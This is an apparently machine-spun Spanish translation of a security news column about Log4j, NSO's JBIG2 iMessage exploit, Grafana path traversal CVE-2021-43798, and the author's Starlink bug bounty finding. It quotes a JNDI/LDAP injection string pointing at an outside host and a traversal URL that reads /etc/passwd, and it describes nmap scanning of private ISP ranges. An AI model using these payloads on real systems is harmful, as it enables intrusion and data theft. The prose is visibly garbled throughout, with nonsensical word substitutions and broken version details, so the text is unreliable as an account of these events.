La enorme noticia de esta semana es Log4j, rompiendo solo unas horas hasta que se incluyan en la columna de la semana pasada. La gente ya está preguntando si esta es la vulnerabilidad más seria, así como, así como parece que es al menos en la carrera. El error fue encontrado por primera vez por expertos en seguridad en Alibaba, quien notificó a Apache de la falla el 24 de noviembre. CloudFlare ha tirado de sus datos, así como la evidencia descubierta de la vulnerabilidad en la naturaleza a partir del 1 de diciembre. Estos primeros ejemplos son extremadamente escasos y extremadamente específicos, suficientes para hacerme una pregunta si esto no era investigadores que formaban parte de la divulgación preliminar haciendo un estudio de investigación adicional sobre el problema. Independientemente, el 9 de diciembre, un individuo de Twitter tuiteó los detalles de la vulnerabilidad, así como el infierno de seguridad se desató. Nueve minutos después del Tweet, Cloudflare sierra intentó explotar nuevamente, así como dentro de ocho horas, estaban tratando con 20,000 intentos de explotación por minuto.
Esa es la línea de tiempo, sin embargo, ¿qué está pasando con la exploit, así como por qué es tan malo? Primero, el paquete vulnerable es Log4j, una biblioteca de registro para Java. Permite a los procesos obtener mensajes de registro donde se necesitan para ir, sin embargo, con muchas campanas, así como a los silbidos incluidos. Una de esas características es el apoyo para JNDI, un problema de seguridad entendido en Java. Una solicitud de JNDI puede llevar a un ataque de deserialización, donde una corriente de datos entrante está malformada malformada, mal comportamiento cuando se ensancha nuevamente en un objeto. No estaba destinado a que las buscaplas JNDI se realicen a través de Internet, sin embargo, no hubo una inspección explícita para este comportamiento, así que aquí estamos.
El pensamiento final es que si puede activar un registro, componer con LOG4J que incluye $ {JNDI: LDAP: //example.com/a}, puede ejecutar código arbitrario en esa máquina. Los investigadores, así como los delincuentes, ya han encontrado métodos innovadores para manejarlo, como incluir la cadena en un agente de navegador, o un primer nombre. Sí, es el retorno de las tablas BOBBY bit.log4j 2.16.0. 2.15.0 contenía una solución parcial, sin embargo, no se deshizo completamente del problema. Una java actualizada también ha modificado una configuración predeterminada, proporcionando mitigación parcial. Sin embargo, lo más probable es que no hayamos visto el final de esto todavía.
NSO, así como la CPU emulada en un PDF
Si hubiera sido otra persona que no sea el trabajo de Google Cero, que le dijo esta historia, lo habría volado como un dispositivo de parcela de Hollywood. Esta vulnerabilidad está en la aplicación IOS IMESSAGE, así como exactamente cómo maneja los datos .gif que realmente contienen datos PDF. Los PDF son flexibles, para ponerlo suavemente. Uno de los posibles estilos de codificación es JBIG2, un códec de compresión negra y blanca a partir de 2000. Parte del códec es la capacidad de utilizar los operadores booleanos y, o, XOR, así como Xnor para representar diferencias menores entre los bloques comprimidos. Un desbordamiento entero en el código de descompresión permite pensar mucho más en la memoria sobre la producción válida para la descompresión, lo que significa que el código de descompresión puede ejecutar esos operadores booleanos en esa memoria adicional.
Ahora, ¿qué obtienes cuando tienes mucha memoria, así como a esos cuatro operadores? Una CPU total de Turing, por supuesto. Sí, los investigadores del Grupo NSO realmente desarrollaron una CPU en línea en una rutina de decodificación PDF, además de utilizar esa plataforma para arrancar su escape de arena. Es una locura, increíble, así como brillante. [Nota de la ED: también pobre El grupo NSO es esencialmente malo.]
Traversión del camino de Grafana
La plataforma de visualización de Grafana acaba de fijar recientemente un problema grave, CVE-2021-43798. Esta vulnerabilidad permite para el recorrido de la ruta a través de las carpetas de plugin. Así, por ejemplo, /public/plugins/alertlist/../../../../../../../../etc/passwd devolvería los datos passwd desde un servidor Linux. Las actualizaciones que fijan este problema fueron lanzadas el 7 de diciembre. Este error fue realmente un día de 0 días durante unos días, ya que se estaba discutiendo en el 3er públicamente, sin embargo, desconocido para los devs Grafana. Inspeccione su postmortem para los detalles.
Estrella estrella
Y finalmente, tengo un estudio de investigación original para cubrir. Puede estar familiarizado con mi trabajo que cubre el sistema web satelital StarLink. Parte del impulso para comprar, así como mantener a StarLink fue hacer un estudio de investigación de seguridad en la plataforma, así como ese objetivo, por último, ha nacido un poco de fruta, a la melodía de una recompensa de $ 4,800. Aquí está la historia.
Tengo un compañero de cerca que también utiliza StarLink, así como el 7 de diciembre, descubrimos que nos habían asignado una dirección IPv4 enrutable públicamente. ¿Exactamente cómo funciona el enrutamiento de StarLink entre los suscriptores? ¿Se enviaría el tráfico web de mi red a su dirección directamente en el satélite, o cada paquete tendría que rebotar en el satélite, con la estación terrestre de Spacex, de vuelta al ave, así como luego de nuevo a mí? Traceroute es una herramienta maravillosa, así como respondió a la pregunta:
traceroute a 98.97.92.x (98.97.92.x), 30 saltos máx, paquetes de 46 bytes
1 cliente.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 MS 23.082 MS
2 172.16.248.6 (172.16.248.6) 27.783 MS 23.973 MS 27.363 MS
3 172.16.248.21 (172.16.248.21) 23.728 MS 26.880 MS 28.299 MS
4 undefined.hostname.localhost (98.97.92.x) 59.220 MS 51.474 MS 51.877 MS
No entendimos precisamente lo que cada salto fue, sin embargo, el número de saltos, así como la latencia, a todos, lo hace relativamente eliminar que nuestro tráfico web iba con una estación de tierra. Sin embargo, hay algo extraño sobre este traceroute. ¿Lo aterró? 172.16.x.y es una red personal, según RFC1918. La verdad que aparece en un traceroute significa que mi enrutador OpenWrt, así como los dispositivos StarLink, se están enrutando de manera efectiva desde mi escritorio a esa dirección. Ahora he descubierto este tipo de cosas antes, en una red de ISP diferente. Entendiendo que esto podría ser interesante, presenté NMAP, así como escaneado a los IPs personales que aparecieron en el traceroute. Bingo.
172.16.248.6 se bloqueó correctamente, sin embargo, 172.16.248.21 mostró puertos abiertos. A saber, los puertos 179, 9100, 9101, así como 50051. El NMAP creía que 179 era BGP, que sonaba bien. Sin embargo, el resto de ellos? Telnet. Fui relativamente positivo que ninguno de estos fueran realmente servicios de Telnet, sin embargo, es un comienzo fantástico cuando se intenta determinar un servicio desconocido. Esta no fue una excepción. Ports 9100, así como 9101, me dijo que había hecho una mala solicitud, lanzando un error 400. ¡AH, fueron servicios HTTP! Tirar de ambos en un navegador web me proporcionó una salida de depuración que parecía ser desde un servidor Python Flask.
Ese último puerto, 50051, fue interesante. El único servicio que podría descubrir que normalmente se ejecutó allí fue GRPC de Google, un protocolo de llamadas telefónicas de procedimiento remoto. GRPC_CLI fue útil para verificar que era lo que había encontrado. Desafortunadamente, la reflexión fue discapacitada, lo que significa que el servicio se negó a enumerar los comandos que apoyó. Mapeo Cualquier tipo de comandos necesitaría lanzar muchos datos en ese puerto.
En este punto, comencé a cuestionar con precisión con precisión en qué pedazo de hardware estaba hablando. Hizo BGP, era interior de la red de StarLink, así como mi tráfico web estaba enrutando con él. ¿Podría ser este un satélite? Lo más probable es que no, sin embargo, la recompensa de StarLink Bug está eliminada por lo que debería venir a continuación. Bajo ninguna circunstancia, un investigador debe realizar pruebas en línea en un satélite u otra infraestructura crucial. Sospeché que estaba hablando con parte de su infraestructura de enrutamiento, lo más probable es que la estación de tierra en Dallas. De cualquier manera, la astucia, así como la rotura, así como la rotura, fue frunciendo el ceño, así que compuse la divulgación sobre lo que había encontrado.
Los ingenieros de StarLink tenían los puertos cerrados dentro de las doce horas del informe, así como me pidieron que podía revisar su triaje. Seguro, mientras que todavía podría hacer ping a los IPs personales, ningún puerto estaban abiertos. En este momento, aquí es donde debo hacer crédito el historial de crédito a los muchachos que ejecutan la generosidad de StarLink Bug. Podrían haber llamado a esto una divulgación de información simple, pagó unos pocos cientos de dólares, así como lo llamó un día. En su lugar, se tomaron el tiempo para investigar, así como se verificó que, de hecho, había encontrado un puerto de GRPC abierto, así como luego dejó caer la bomba de que era un punto final no autenticado. El descubrimiento andeó un premio preliminar de $ 3,800, más una recompensa de $ 1,000 para un informe completo, así como no bloqueando sus sistemas en línea. Como mi compañero regional lo puso a la mitad, eso es una gran cantidad de dinero para correr NMAP.
Sí, había un poco de suerte involucrado, integrado con una gran cantidad de experiencia previa con peculiaridades de la red. La principal comida para llevar debe ser que el estudio de investigación de seguridad no siempre tiene que ser la vulnerabilidad súper desafiante, así como el desarrollo de explotación. No tiene que desarrollar un sistema completo de Turing en un PDF. A veces, es solo IP, así como el escaneo de puertos, integrado con persistencia, así como un poco de suerte. De hecho, si su ISP tiene un programa BOUNTY BOUNTY, puede intentar conectar una máquina Linux directamente al módem, así como escanear el rango de IP personal. Mantén tus ojos abiertos. Usted también, solo puede descubrir algo interesante.